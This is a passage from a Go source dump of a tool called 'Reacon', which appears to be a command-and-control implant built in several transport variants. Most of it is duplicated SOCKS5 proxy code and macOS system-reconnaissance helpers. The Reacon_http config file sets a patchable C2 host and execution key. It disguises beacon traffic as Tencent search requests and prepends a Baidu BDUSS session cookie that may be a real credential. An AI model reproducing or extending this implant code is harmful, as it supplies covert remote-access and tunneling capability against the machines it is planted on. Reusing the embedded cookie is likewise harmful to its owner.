conn.LocalAddr() 39 | request.RemoteAddr = conn.RemoteAddr() 40 | // Process the client request 41 | return handleRequest(conn, request) 42 | } 43 | -------------------------------------------------------------------------------- /Reacon_tcp/pkg/services/proxy/server.go: -------------------------------------------------------------------------------- 1 | package Proxy 2 | 3 | import ( 4 | "bufio" 5 | "errors" 6 | "fmt" 7 | "net" 8 | 9 | "Reacon/pkg/services/proxy/statute" 10 | ) 11 | 12 | // ServeConn is used to serve a single connection. 13 | func ServeConn(conn net.Conn) error { 14 | defer conn.Close() 15 | bufConn := bufio.NewReader(conn) 16 | 17 | // The client request detail 18 | request, err := ParseRequest(bufConn) 19 | if err != nil { 20 | if errors.Is(err, statute.ErrUnrecognizedAddrType) { 21 | if err := SendReply(conn, statute.RepAddrTypeNotSupported, nil); err != nil { 22 | return fmt.Errorf("failed to send reply %w", err) 23 | } 24 | } 25 | return fmt.Errorf("failed to read destination address, %w", err) 26 | } 27 | 28 | if request.Request.Command != statute.CommandConnect && 29 | request.Request.Command != statute.CommandBind && 30 | request.Request.Command != statute.CommandAssociate { 31 | if err := SendReply(conn, statute.RepCommandNotSupported, nil); err != nil { 32 | return fmt.Errorf("failed to send reply, %v", err) 33 | } 34 | return fmt.Errorf("unrecognized command[%d]", request.Request.Command) 35 | } 36 | 37 | //request.AuthContext = authContext 38 | request.LocalAddr = conn.LocalAddr() 39 | request.RemoteAddr = conn.RemoteAddr() 40 | // Process the client request 41 | return handleRequest(conn, request) 42 | } 43 | -------------------------------------------------------------------------------- /Reacon_websocket/pkg/services/proxy/server.go: -------------------------------------------------------------------------------- 1 | package Proxy 2 | 3 | import ( 4 | "bufio" 5 | "errors" 6 | "fmt" 7 | "net" 8 | 9 | "Reacon/pkg/services/proxy/statute" 10 | ) 11 | 12 | // ServeConn is used to serve a single connection. 13 | func ServeConn(conn net.Conn) error { 14 | defer conn.Close() 15 | bufConn := bufio.NewReader(conn) 16 | 17 | // The client request detail 18 | request, err := ParseRequest(bufConn) 19 | if err != nil { 20 | if errors.Is(err, statute.ErrUnrecognizedAddrType) { 21 | if err := SendReply(conn, statute.RepAddrTypeNotSupported, nil); err != nil { 22 | return fmt.Errorf("failed to send reply %w", err) 23 | } 24 | } 25 | return fmt.Errorf("failed to read destination address, %w", err) 26 | } 27 | 28 | if request.Request.Command != statute.CommandConnect && 29 | request.Request.Command != statute.CommandBind && 30 | request.Request.Command != statute.CommandAssociate { 31 | if err := SendReply(conn, statute.RepCommandNotSupported, nil); err != nil { 32 | return fmt.Errorf("failed to send reply, %v", err) 33 | } 34 | return fmt.Errorf("unrecognized command[%d]", request.Request.Command) 35 | } 36 | 37 | //request.AuthContext = authContext 38 | request.LocalAddr = conn.LocalAddr() 39 | request.RemoteAddr = conn.RemoteAddr() 40 | // Process the client request 41 | return handleRequest(conn, request) 42 | } 43 | -------------------------------------------------------------------------------- /Reacon_http/pkg/config/config.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | import ( 4 | "strings" 5 | "time" 6 | ) 7 | 8 | var ( 9 | //C2 = "https://gin-tne-fahcesmukw.cn-hangzhou.fcapp.run" 10 | //C2 = "http://***.***.***.***:************************************************" 11 | host = "HOSTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 12 | C2 = "http://" + strings.ReplaceAll(host, " ", "") 13 | //C2 = "http://127.0.0.1:8080" 14 | pass = "PASSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 15 | ExecuteKey = strings.ReplaceAll(pass, " ", "") 16 | Http_get_metadata_prepend = "BDUSS=mVwMHZ3dWNSajdVVXZtdi0yb3J4ZTJrb0NCcU1ObzRac1p6TFc1NUlwUnVpRlJtRVFBQUFBJCQAAAAAAAAAAAEAAAD94hH41~PB-sSkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAG77LGZu-yxmS; BDUSS_BFESS=mVwMHZ3dWNSajdVVXZtdi0yb3J4ZTJrb0NCcU1ObzRac1p6TFc1NUlwUnVpRlJtRVFBQUFBJCQAAAAAAAAAAAEAAAD94hH41~PB-sSkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAG77LGZu-yxmS;SESSIONID=" // 每个http get 请求发送的数据前添加的字符串 17 | 18 | Http_post_client_output_type_value = "X-AUTH" 19 | 20 | GetUrl = strings.TrimRight(C2, " ") + Http_get_uri 21 | PostUrl = strings.TrimRight(C2, " ") + Http_post_uri 22 | 23 | Http_get_uri = "/tencent/mcp/pc/pcsearch" 24 | Http_post_uri = "/tencent/sensearch/collection/item/check" 25 | 26 | WaitTime = 5000 * time.Millisecond 27 | ) 28 | -------------------------------------------------------------------------------- /Reacon_http/pkg/services/proxy/statute/statute.go: -------------------------------------------------------------------------------- 1 | package statute 2 | 3 | import ( 4 | "errors" 5 | ) 6 | 7 | // VersionSocks5 socks protocol version 8 | const VersionSocks5 = byte(0x05) 9 | 10 | // request command defined 11 | const ( 12 | CommandConnect = byte(0x01) 13 | CommandBind = byte(0x02) 14 | CommandAssociate = byte(0x03) 15 | ) 16 | 17 | // method defined 18 | const ( 19 | MethodNoAuth = byte(0x00) 20 | MethodGSSAPI = byte(0x01) // TODO: not support now 21 | MethodUserPassAuth = byte(0x02) 22 | MethodNoAcceptable = byte(0xff) 23 | ) 24 | 25 | // address type defined 26 | const ( 27 | ATYPIPv4 = byte(0x01) 28 | ATYPDomain = byte(0x03) 29 | ATYPIPv6 = byte(0x04) 30 | ) 31 | 32 | // reply status 33 | const ( 34 | RepSuccess uint8 = iota 35 | RepServerFailure 36 | RepRuleFailure 37 | RepNetworkUnreachable 38 | RepHostUnreachable 39 | RepConnectionRefused 40 | RepTTLExpired 41 | RepCommandNotSupported 42 | RepAddrTypeNotSupported 43 | // 0x09 - 0xff unassigned 44 | ) 45 | 46 | // auth defined 47 | const ( 48 | // user password version 49 | UserPassAuthVersion = byte(0x01) 50 | // auth status 51 | AuthSuccess = byte(0x00) 52 | AuthFailure = byte(0x01) 53 | ) 54 | 55 | // error defined 56 | var ( 57 | ErrUnrecognizedAddrType = errors.New("unrecognized address type") 58 | ErrNotSupportVersion = errors.New("not support version") 59 | ErrNotSupportMethod = errors.New("not support method") 60 | ) 61 | -------------------------------------------------------------------------------- /Reacon_kcp/pkg/services/proxy/statute/statute.go: -------------------------------------------------------------------------------- 1 | package statute 2 | 3 | import ( 4 | "errors" 5 | ) 6 | 7 | // VersionSocks5 socks protocol version 8 | const VersionSocks5 = byte(0x05) 9 | 10 | // request command defined 11 | const ( 12 | CommandConnect = byte(0x01) 13 | CommandBind = byte(0x02) 14 | CommandAssociate = byte(0x03) 15 | ) 16 | 17 | // method defined 18 | const ( 19 | MethodNoAuth = byte(0x00) 20 | MethodGSSAPI = byte(0x01) // TODO: not support now 21 | MethodUserPassAuth = byte(0x02) 22 | MethodNoAcceptable = byte(0xff) 23 | ) 24 | 25 | // address type defined 26 | const ( 27 | ATYPIPv4 = byte(0x01) 28 | ATYPDomain = byte(0x03) 29 | ATYPIPv6 = byte(0x04) 30 | ) 31 | 32 | // reply status 33 | const ( 34 | RepSuccess uint8 = iota 35 | RepServerFailure 36 | RepRuleFailure 37 | RepNetworkUnreachable 38 | RepHostUnreachable 39 | RepConnectionRefused 40 | RepTTLExpired 41 | RepCommandNotSupported 42 | RepAddrTypeNotSupported 43 | // 0x09 - 0xff unassigned 44 | ) 45 | 46 | // auth defined 47 | const ( 48 | // user password version 49 | UserPassAuthVersion = byte(0x01) 50 | // auth status 51 | AuthSuccess = byte(0x00) 52 | AuthFailure = byte(0x01) 53 | ) 54 | 55 | // error defined 56 | var ( 57 | ErrUnrecognizedAddrType = errors.New("unrecognized address type") 58 | ErrNotSupportVersion = errors.New("not support version") 59 | ErrNotSupportMethod = errors.New("not support method") 60 | ) 61 | -------------------------------------------------------------------------------- /Reacon_oss/pkg/services/proxy/statute/statute.go: -------------------------------------------------------------------------------- 1 | package statute 2 | 3 | import ( 4 | "errors" 5 | ) 6 | 7 | // VersionSocks5 socks protocol version 8 | const VersionSocks5 = byte(0x05) 9 | 10 | // request command defined 11 | const ( 12 | CommandConnect = byte(0x01) 13 | CommandBind = byte(0x02) 14 | CommandAssociate = byte(0x03) 15 | ) 16 | 17 | // method defined 18 | const ( 19 | MethodNoAuth = byte(0x00) 20 | MethodGSSAPI = byte(0x01) // TODO: not support now 21 | MethodUserPassAuth = byte(0x02) 22 | MethodNoAcceptable = byte(0xff) 23 | ) 24 | 25 | // address type defined 26 | const ( 27 | ATYPIPv4 = byte(0x01) 28 | ATYPDomain = byte(0x03) 29 | ATYPIPv6 = byte(0x04) 30 | ) 31 | 32 | // reply status 33 | const ( 34 | RepSuccess uint8 = iota 35 | RepServerFailure 36 | RepRuleFailure 37 | RepNetworkUnreachable 38 | RepHostUnreachable 39 | RepConnectionRefused 40 | RepTTLExpired 41 | RepCommandNotSupported 42 | RepAddrTypeNotSupported 43 | // 0x09 - 0xff unassigned 44 | ) 45 | 46 | // auth defined 47 | const ( 48 | // user password version 49 | UserPassAuthVersion = byte(0x01) 50 | // auth status 51 | AuthSuccess = byte(0x00) 52 | AuthFailure = byte(0x01) 53 | ) 54 | 55 | // error defined 56 | var ( 57 | ErrUnrecognizedAddrType = errors.New("unrecognized address type") 58 | ErrNotSupportVersion = errors.New("not support version") 59 | ErrNotSupportMethod = errors.New("not support method") 60 | ) 61 | -------------------------------------------------------------------------------- /Reacon_tcp/pkg/services/proxy/statute/statute.go: -------------------------------------------------------------------------------- 1 | package statute 2 | 3 | import ( 4 | "errors" 5 | ) 6 | 7 | // VersionSocks5 socks protocol version 8 | const VersionSocks5 = byte(0x05) 9 | 10 | // request command defined 11 | const ( 12 | CommandConnect = byte(0x01) 13 | CommandBind = byte(0x02) 14 | CommandAssociate = byte(0x03) 15 | ) 16 | 17 | // method defined 18 | const ( 19 | MethodNoAuth = byte(0x00) 20 | MethodGSSAPI = byte(0x01) // TODO: not support now 21 | MethodUserPassAuth = byte(0x02) 22 | MethodNoAcceptable = byte(0xff) 23 | ) 24 | 25 | // address type defined 26 | const ( 27 | ATYPIPv4 = byte(0x01) 28 | ATYPDomain = byte(0x03) 29 | ATYPIPv6 = byte(0x04) 30 | ) 31 | 32 | // reply status 33 | const ( 34 | RepSuccess uint8 = iota 35 | RepServerFailure 36 | RepRuleFailure 37 | RepNetworkUnreachable 38 | RepHostUnreachable 39 | RepConnectionRefused 40 | RepTTLExpired 41 | RepCommandNotSupported 42 | RepAddrTypeNotSupported 43 | // 0x09 - 0xff unassigned 44 | ) 45 | 46 | // auth defined 47 | const ( 48 | // user password version 49 | UserPassAuthVersion = byte(0x01) 50 | // auth status 51 | AuthSuccess = byte(0x00) 52 | AuthFailure = byte(0x01) 53 | ) 54 | 55 | // error defined 56 | var ( 57 | ErrUnrecognizedAddrType = errors.New("unrecognized address type") 58 | ErrNotSupportVersion = errors.New("not support version") 59 | ErrNotSupportMethod = errors.New("not support method") 60 | ) 61 | -------------------------------------------------------------------------------- /Reacon_websocket/pkg/services/proxy/statute/statute.go: -------------------------------------------------------------------------------- 1 | package statute 2 | 3 | import ( 4 | "errors" 5 | ) 6 | 7 | // VersionSocks5 socks protocol version 8 | const VersionSocks5 = byte(0x05) 9 | 10 | // request command defined 11 | const ( 12 | CommandConnect = byte(0x01) 13 | CommandBind = byte(0x02) 14 | CommandAssociate = byte(0x03) 15 | ) 16 | 17 | // method defined 18 | const ( 19 | MethodNoAuth = byte(0x00) 20 | MethodGSSAPI = byte(0x01) // TODO: not support now 21 | MethodUserPassAuth = byte(0x02) 22 | MethodNoAcceptable = byte(0xff) 23 | ) 24 | 25 | // address type defined 26 | const ( 27 | ATYPIPv4 = byte(0x01) 28 | ATYPDomain = byte(0x03) 29 | ATYPIPv6 = byte(0x04) 30 | ) 31 | 32 | // reply status 33 | const ( 34 | RepSuccess uint8 = iota 35 | RepServerFailure 36 | RepRuleFailure 37 | RepNetworkUnreachable 38 | RepHostUnreachable 39 | RepConnectionRefused 40 | RepTTLExpired 41 | RepCommandNotSupported 42 | RepAddrTypeNotSupported 43 | // 0x09 - 0xff unassigned 44 | ) 45 | 46 | // auth defined 47 | const ( 48 | // user password version 49 | UserPassAuthVersion = byte(0x01) 50 | // auth status 51 | AuthSuccess = byte(0x00) 52 | AuthFailure = byte(0x01) 53 | ) 54 | 55 | // error defined 56 | var ( 57 | ErrUnrecognizedAddrType = errors.New("unrecognized address type") 58 | ErrNotSupportVersion = errors.New("not support version") 59 | ErrNotSupportMethod = errors.New("not support method") 60 | ) 61 | -------------------------------------------------------------------------------- /Reacon_http/pkg/sysinfo/sysinfo_darwin.go: -------------------------------------------------------------------------------- 1 | //go:build darwin 2 | 3 | package sysinfo 4 | 5 | import ( 6 | "bytes" 7 | "encoding/binary" 8 | "os" 9 | "os/exec" 10 | "os/user" 11 | ) 12 | 13 | func GetOSVersion() (string, error) { 14 | cmd := exec.Command("sw_vers", "-productVersion") 15 | out, _ := cmd.CombinedOutput() 16 | return string(out[:]), nil 17 | } 18 | 19 | func IsHighPriv() bool { 20 | if os.Getuid() == 0 { 21 | return true 22 | } 23 | return false 24 | } 25 | 26 | func IsOSX64() (bool, error) { 27 | cmd := exec.Command("sysctl", "hw.cpu64bit_capable") 28 | out, _ := cmd.CombinedOutput() 29 | out = bytes.ReplaceAll(out, []byte("hw.cpu64bit_capable: "), []byte("")) 30 | if string(out) == "1" { 31 | return true, nil 32 | } 33 | return false, nil 34 | } 35 | 36 | func GetCodePageANSI() ([]byte, error) { 37 | // darwin use utf8(I guess) 38 | b := make([]byte, 2) 39 | binary.LittleEndian.PutUint16(b, 65001) 40 | return b, nil 41 | } 42 | 43 | func GetCodePageOEM() ([]byte, error) { 44 | //use utf8 45 | b := make([]byte, 2) 46 | binary.LittleEndian.PutUint16(b, 65001) 47 | return b, nil 48 | } 49 | 50 | func GetUsername() (string, error) { 51 | user, err := user.Current() 52 | if err != nil { 53 | return "", nil 54 | } 55 | usr := user.Username 56 | return usr, nil 57 | } 58 | 59 | func IsPidX64(pid uint32) (bool, error) { 60 | /*is64 := false 61 | 62 | hProcess, err := windows.OpenProcess(uint32(0x1000), false, pid) 63 | if err != nil { 64 | return IsProcessX64() 65 | } 66 | 67 | _ = windows.IsWow64Process(hProcess, &is64)*/ 68 | 69 | return true, nil 70 | } 71 | 72 | // return 0 73 | func GetProcessSessionId(pid int32) uint32 { 74 | return 0 75 | } 76 | -------------------------------------------------------------------------------- /Reacon_kcp/pkg/sysinfo/sysinfo_darwin.go: -------------------------------------------------------------------------------- 1 | //go:build darwin 2 | 3 | package sysinfo 4 | 5 | import ( 6 | "bytes" 7 | "encoding/binary" 8 | "os" 9 | "os/exec" 10 | "os/user" 11 | ) 12 | 13 | func GetOSVersion() (string, error) { 14 | cmd := exec.Command("sw_vers", "-productVersion") 15 | out, _ := cmd.CombinedOutput() 16 | return string(out[:]), nil 17 | } 18 | 19 | func IsHighPriv() bool { 20 | if os.Getuid() == 0 { 21 | return true 22 | } 23 | return false 24 | } 25 | 26 | func IsOSX64() (bool, error) { 27 | cmd := exec.Command("sysctl", "hw.cpu64bit_capable") 28 | out, _ := cmd.CombinedOutput() 29 | out = bytes.ReplaceAll(out, []byte("hw.cpu64bit_capable: "), []byte("")) 30 | if string(out) == "1" { 31 | return true, nil 32 | } 33 | return false, nil 34 | } 35 | 36 | func GetCodePageANSI() ([]byte, error) { 37 | // darwin use utf8(I guess) 38 | b := make([]byte, 2) 39 | binary.LittleEndian.PutUint16(b, 65001) 40 | return b, nil 41 | } 42 | 43 | func GetCodePageOEM() ([]byte, error) { 44 | //use utf8 45 | b := make([]byte, 2) 46 | binary.LittleEndian.PutUint16(b, 65001) 47 | return b, nil 48 | } 49 | 50 | func GetUsername() (string, error) { 51 | user, err := user.Current() 52 | if err != nil { 53 | return "", nil 54 | } 55 | usr := user.Username 56 | return usr, nil 57 | } 58 | 59 | func IsPidX64(pid uint32) (bool, error) { 60 | /*is64 := false 61 | 62 | hProcess, err := windows.OpenProcess(uint32(0x1000), false, pid) 63 | if err != nil { 64 | return IsProcessX64() 65 | } 66 | 67 | _ = windows.IsWow64Process(hProcess, &is64)*/ 68 | 69 | return true, nil 70 | } 71 | 72 | // return 0 73 | func GetProcessSessionId(pid int32) uint32 { 74 | return 0 75 | } 76 | -------------------------------------------------------------------------------- /Reacon_oss/pkg/sysinfo/sysinfo_darwin.go: -------------------------------------------------------------------------------- 1 | //go:build darwin 2 | 3 | package sysinfo 4 | 5 | import ( 6 | "bytes" 7 | "encoding/binary" 8 | "os" 9 | "os/exec" 10 | "os/user" 11 | ) 12 | 13 | func GetOSVersion() (string, error) { 14 | cmd := exec.Command("sw_vers", "-productVersion") 15 | out, _ := cmd.CombinedOutput() 16 | return string(out[:]), nil 17 | } 18 | 19 | func IsHighPriv() bool { 20 | if os.Getuid() == 0 { 21 | return true 22 | } 23 | return false 24 | } 25 | 26 | func IsOSX64() (bool, error) { 27 | cmd := exec.Command("sysctl", "hw.cpu64bit_capable") 28 | out, _ := cmd.CombinedOutput() 29 | out = bytes.ReplaceAll(out, []byte("hw.cpu64bit_capable: "), []byte("")) 30 | if string(out) == "1" { 31 | return true, nil 32 | } 33 | return false, nil 34 | } 35 | 36 | func GetCodePageANSI() ([]byte, error) { 37 | // darwin use utf8(I guess) 38 | b := make([]byte, 2) 39 | binary.LittleEndian.PutUint16(b, 65001) 40 | return b, nil 41 | } 42 | 43 | func GetCodePageOEM() ([]byte, error) { 44 | //use utf8 45 | b := make([]byte, 2) 46 | binary.LittleEndian.PutUint16(b, 65001) 47 | return b, nil 48 | } 49 | 50 | func GetUsername() (string, error) { 51 | user, err := user.Current() 52 | if err != nil { 53 | return "", nil 54 | } 55 | usr := user.Username 56 | return usr, nil 57 | } 58 | 59 | func IsPidX64(pid uint32) (bool, error) { 60 | /*is64 := false 61 | 62 | hProcess, err := windows.OpenProcess(uint32(0x1000), false, pid) 63 | if err != nil { 64 | return IsProcessX64() 65 | } 66 | 67 | _ = windows.IsWow64Process(hProcess, &is64)*/ 68 | 69 | return true, nil 70 | } 71 | 72 | // return 0 73 | func GetProcessSessionId(pid int32) uint32 { 74 | return 0 75 | } 76 | -------------------------------------------------------------------------------- /Reacon_tcp/pkg/sysinfo/sysinfo_darwin.go: -------------------------------------------------------------------------------- 1 | //go:build darwin 2 | 3 | package sysinfo 4 | 5 | import ( 6 | "bytes" 7 | "encoding/binary" 8 | "os" 9 | "os/exec" 10 | "os/user" 11 | ) 12 | 13 | func GetOSVersion() (string, error) { 14 | cmd := exec.Command("sw_vers", "-productVersion") 15 | out, _ := cmd.CombinedOutput() 16 | return string(out[:]), nil 17 | } 18 | 19 | func IsHighPriv() bool { 20 | if os.Getuid() == 0 { 21 | return true 22 | } 23 | return false 24 | } 25 | 26 | func IsOSX64() (bool, error) { 27 | cmd := exec.Command("sysctl", "hw.cpu64bit_capable") 28 | out, _ := cmd.CombinedOutput() 29 | out = bytes.ReplaceAll(out, []byte("hw.cpu64bit_capable: "), []byte("")) 30 | if string(out) == "1" { 31 | return true, nil 32 | } 33 | return false, nil 34 | } 35 | 36 | func GetCodePageANSI() ([]byte, error) { 37 | // darwin use utf8(I guess) 38 | b := make([]byte, 2) 39 | binary.LittleEndian.PutUint16(b, 65001) 40 | return b, nil 41 | } 42 | 43 | func GetCodePageOEM() ([]byte, error) { 44 | //use utf8 45 | b := make([]byte, 2) 46 | binary.LittleEndian.PutUint16(b, 65001) 47 | return b, nil 48 | } 49 | 50 | func GetUsername() (string, error) { 51 | user, err := user.Current() 52 | if err != nil { 53 | return "", nil 54 | } 55 | usr := user.Username 56 | return usr, nil 57 | } 58 | 59 | func IsPidX64(pid uint32) (bool, error) { 60 | /*is64 := false 61 | 62 | hProcess, err := windows.OpenProcess(uint32(0x1000), false, pid) 63 | if err != nil { 64 | return IsProcessX64() 65 | } 66 | 67 | _ = windows.IsWow64Process(hProcess, &is64)*/ 68 | 69 | return true, nil 70 | } 71 | 72 | // return 0 73 | func GetProcessSessionId(pid int32) uint32 { 74 | return 0 75 | } 76 | -------------------------------------------------------------------------------- /Reacon_websocket/pkg/sysinfo/sysinfo_darwin.go: -------------------------------------------------------------------------------- 1 | //go:build darwin 2 | 3 | package sysinfo 4 | 5 | import ( 6 | "bytes" 7 | "encoding/binary" 8 | "os" 9 | "os/exec" 10 | "os/user" 11 | ) 12 | 13 | func GetOSVersion() (string, error) { 14 | cmd := exec.Command("sw_vers", "-productVersion") 15 | out, _ := cmd.CombinedOutput() 16 | return string(out[:]), nil 17 | } 18 | 19 | func IsHighPriv() bool { 20 | if os.Getuid() == 0 { 21 | return true 22 | } 23 | return false 24 | } 25 | 26 | func IsOSX64() (bool, error) { 27 | cmd := exec.Command("sysctl", "hw.cpu64bit_capable") 28 | out, _ := cmd.CombinedOutput() 29 | out = bytes.ReplaceAll(out, []byte("hw.cpu64bit_capable: "), []byte("")) 30 | if string(out) == "1" { 31 | return true, nil 32 | } 33 | return false, nil 34 | } 35 | 36 | func GetCodePageANSI() ([]byte, error) { 37 | // darwin use utf8(I guess) 38 | b := make([]byte, 2) 39 | binary.LittleEndian.PutUint16(b, 65001) 40 | return b, nil 41 | } 42 | 43 | func GetCodePageOEM() ([]byte, error) { 44 | //use utf8 45 | b := make([]byte, 2) 46 | binary.LittleEndian.PutUint16(b, 65001) 47 | return b, nil 48 | } 49 | 50 | func GetUsername() (string, error) { 51 | user, err := user.Current() 52 | if err != nil { 53 | return "", nil 54 | } 55 | usr := user.Username 56 | return usr, nil 57 | } 58 | 59 | func IsPidX64(pid uint32) (bool, error) { 60 | /*is64 := false 61 | 62 | hProcess, err := windows.OpenProcess(uint32(0x1000), false, pid) 63 | if err != nil { 64 | return IsProcessX64() 65 | } 66 | 67 | _ = windows.IsWow64Process(hProcess, &is64)*/ 68 | 69 | return true, nil 70 | } 71 | 72 | // return 0 73 | func GetProcessSessionId(pid int32) uint32 { 74 | return 0 75 | } 76 | -------------------------------------------------------------------------------- /Reacon_http/pkg/services/proxy/statute/addr.go: -------------------------------------------------------------------------------- 1 | package statute 2 | 3 | import ( 4 | "fmt" 5 | "net" 6 | "strconv" 7 | ) 8 | 9 | // AddrSpec is used to return the target AddrSpec 10 | // which may be specified as IPv4, IPv6, or a FQDN 11 | type AddrSpec struct { 12 | FQDN string 13 | IP net.IP 14 | Port int 15 | // private stuff set when Request parsed 16 | AddrType byte 17 | } 18 | 19 | // String returns a string suitable to dial; prefer returning IP-based 20 | // address, fallback to FQDN 21 | func (sf *AddrSpec) String() string { 22 | if len(sf.IP) != 0 { 23 | return net.JoinHostPort(sf.IP.String(), strconv.Itoa(sf.Port)) 24 | } 25 | return net.JoinHostPort(sf.FQDN, strconv.Itoa(sf.Port)) 26 | } 27 | 28 | // Address returns a string which may be specified 29 | // if IPv4/IPv6 will return < ip:port > 30 | // if FQDN will return < domain ip:port > 31 | // Note: do not used to dial, Please use String 32 | func (sf AddrSpec) Address() string { 33 | if sf.FQDN != "" { 34 | return fmt.Sprintf("%s (%s):%d", sf.FQDN, sf.IP, sf.Port) 35 | } 36 | return fmt.Sprintf("%s:%d", sf.IP, sf.Port) 37 | } 38 | 39 | // ParseAddrSpec parse addr(host:port) to the AddrSpec address 40 | func ParseAddrSpec(addr string) (as AddrSpec, err error) { 41 | var host, port string 42 | 43 | host, port, err = net.SplitHostPort(addr) 44 | if err != nil { 45 | return 46 | } 47 | as.Port, err = strconv.Atoi(port) 48 | if err != nil { 49 | return 50 | } 51 | 52 | ip := net.ParseIP(host) 53 | if ip4 := ip.To4(); ip4 != nil { 54 | as.AddrType, as.IP = ATYPIPv4, ip 55 | } else if ip6 := ip.To16(); ip6 != nil { 56 | as.AddrType, as.IP = ATYPIPv6, ip 57 | } else { 58 | as.AddrType, as.FQDN = ATYPDomain, host 59 | } 60 | return 61 | } 62 | -------------------------------------------------------------------------------- /Reacon_kcp/pkg/services/proxy/statute/addr.go: -------------------------------------------------------------------------------- 1 | package statute 2 | 3 | import ( 4 | "fmt" 5 | "net" 6 | "strconv" 7 | ) 8 | 9 | // AddrSpec is used to return the target AddrSpec 10 | // which may be specified as IPv4, IPv6, or a FQDN 11 | type AddrSpec struct { 12 | FQDN string 13 | IP net.IP 14 | Port int 15 | // private stuff set when Request parsed 16 | AddrType byte 17 | } 18 | 19 | // String returns a string suitable to dial; prefer returning IP-based 20 | // address, fallback to FQDN 21 | func (sf *AddrSpec) String() string { 22 | if len(sf.IP) != 0 { 23 | return net.JoinHostPort(sf.IP.String(), strconv.Itoa(sf.Port)) 24 | } 25 | return net.JoinHostPort(sf.FQDN, strconv.Itoa(sf.Port)) 26 | } 27 | 28 | // Address returns a string which may be specified 29 | // if IPv4/IPv6 will return < ip:port > 30 | // if FQDN will return < domain ip:port > 31 | // Note: do not used to dial, Please use String 32 | func (sf AddrSpec) Address() string { 33 | if sf.FQDN != "" { 34 | return fmt.Sprintf("%s (%s):%d", sf.FQDN, sf.IP, sf.Port) 35 | } 36 | return fmt.Sprintf("%s:%d", sf.IP, sf.Port) 37 | } 38 | 39 | // ParseAddrSpec parse addr(host:port) to the AddrSpec address 40 | func ParseAddrSpec(addr string) (as AddrSpec, err error) { 41 | var host, port string 42 | 43 | host, port, err = net.SplitHostPort(addr) 44 | if err != nil { 45 | return 46 | } 47 | as.Port, err = strconv.Atoi(port) 48 | if err != nil { 49 | return 50 | } 51 | 52 | ip := net.ParseIP(host) 53 | if ip4 := ip.To4(); ip4 != nil { 54 | as.AddrType, as.IP = ATYPIPv4, ip 55 | } else if ip6 := ip.To16(); ip6 != nil { 56 | as.AddrType, as.IP = ATYPIPv6, ip 57 | } else { 58 | as.AddrType, as.FQDN = ATYPDomain, host 59 | } 60 | return 61 | } 62 | -------------------------------------------------------------------------------- /Reacon_oss/pkg/services/proxy/statute/addr.go: -------------------------------------------------------------------------------- 1 | package statute 2 | 3 | import ( 4 | "fmt" 5 | "net" 6 | "strconv" 7 | ) 8 | 9 | // AddrSpec is used to return the target AddrSpec 10 | // which may be specified as IPv4, IPv6, or a FQDN 11 | type AddrSpec struct { 12 | FQDN string 13 | IP net.IP 14 | Port int 15 | // private stuff set when Request parsed 16 | AddrType byte 17 | } 18 | 19 | // String returns a string suitable to dial; prefer returning IP-based 20 | // address, fallback to FQDN 21 | func (sf *AddrSpec) String() string { 22 | if len(sf.IP) != 0 { 23 | return net.JoinHostPort(sf.IP.String(), strconv.Itoa(sf.Port)) 24 | } 25 | return net.JoinHostPort(sf.FQDN, strconv.Itoa(sf.Port)) 26 | } 27 | 28 | // Address returns a string which may be specified 29 | // if IPv4/IPv6 will return < ip:port > 30 | // if FQDN will return < domain ip:port > 31 | // Note: do not used to dial, Please use String 32 | func (sf AddrSpec) Address() string { 33 | if sf.FQDN != "" { 34 | return fmt.Sprintf("%s (%s):%d", sf.FQDN, sf.IP, sf.Port) 35 | } 36 | return fmt.Sprintf("%s:%d", sf.IP, sf.Port) 37 | } 38 | 39 | // ParseAddrSpec parse addr(host:port) to the AddrSpec address 40 | func ParseAddrSpec(addr string) (as AddrSpec, err error) { 41 | var host, port string 42 | 43 | host, port, err = net.SplitHostPort(addr) 44 | if err != nil { 45 | return 46 | } 47 | as.Port, err = strconv.Atoi(port) 48 | if err != nil { 49 | return 50 | } 51 | 52 | ip := net.ParseIP(host) 53 | if ip4 := ip.To4(); ip4 != nil { 54 | as.AddrType, as.IP = ATYPIPv4, ip 55 | } else if ip6 := ip.To16(); ip6 != nil { 56 | as.AddrType, as.IP = ATYPIPv6, ip 57 | } else { 58 | as.AddrType, as.FQDN = ATYPDomain, host 59 | } 60 | return 61 | } 62 | -------------------------------------------------------------------------------- /Reacon_tcp/pkg/services/proxy/statute/addr.go: -------------------------------------------------------------------------------- 1 | package statute 2 | 3 | import ( 4 | "fmt" 5 | "net" 6 | "strconv" 7 | ) 8 | 9 | // AddrSpec is used to return the target AddrSpec 10 | // which may be specified as IPv4, IPv6, or a FQDN 11 | type AddrSpec struct { 12 | FQDN string 13 | IP net.IP 14 | Port int 15 | // private stuff set when Request parsed 16 | AddrType byte 17 | } 18 | 19 | // String returns a string suitable to dial; prefer returning IP-based 20 | // address, fallback to FQDN 21 | func (sf *AddrSpec) String() string { 22 | if len(sf.IP) != 0 { 23 | return net.JoinHostPort(sf.IP.String(), strconv.Itoa(sf.Port)) 24 | } 25 | return net.JoinHostPort(sf.FQDN, strconv.Itoa(sf.Port)) 26 | } 27 | 28 | // Address returns a string which may be specified 29 | // if IPv4/IPv6 will return < ip:port > 30 | // if FQDN will return < domain ip:port > 31 | // Note: do not used to dial, Please use String 32 | func (sf AddrSpec) Address() string { 33 | if sf.FQDN != "" { 34 | return fmt.Sprintf("%s (%s):%d", sf.FQDN, sf.IP, sf.Port) 35 | } 36 | return fmt.Sprintf("%s:%d", sf.IP, sf.Port) 37 | } 38 | 39 | // ParseAddrSpec parse addr(host:port) to the AddrSpec address 40 | func ParseAddrSpec(addr string) (as AddrSpec, err error) { 41 | var host, port string 42 | 43 | host, port, err = net.SplitHostPort(addr) 44 | if err != nil { 45 | return 46 | } 47 | as.Port, err = strconv.Atoi(port) 48 | if err != nil { 49 | return 50 | } 51 | 52 | ip := net.ParseIP(host) 53 | if ip4 := ip.To4(); ip4 != nil { 54 | as.AddrType, as.IP = ATYPIPv4, ip 55 | } else if ip6 := ip.To16(); ip6 != nil { 56 | as.AddrType, as.IP = ATYPIPv6, ip 57 | } else { 58 | as.AddrType, 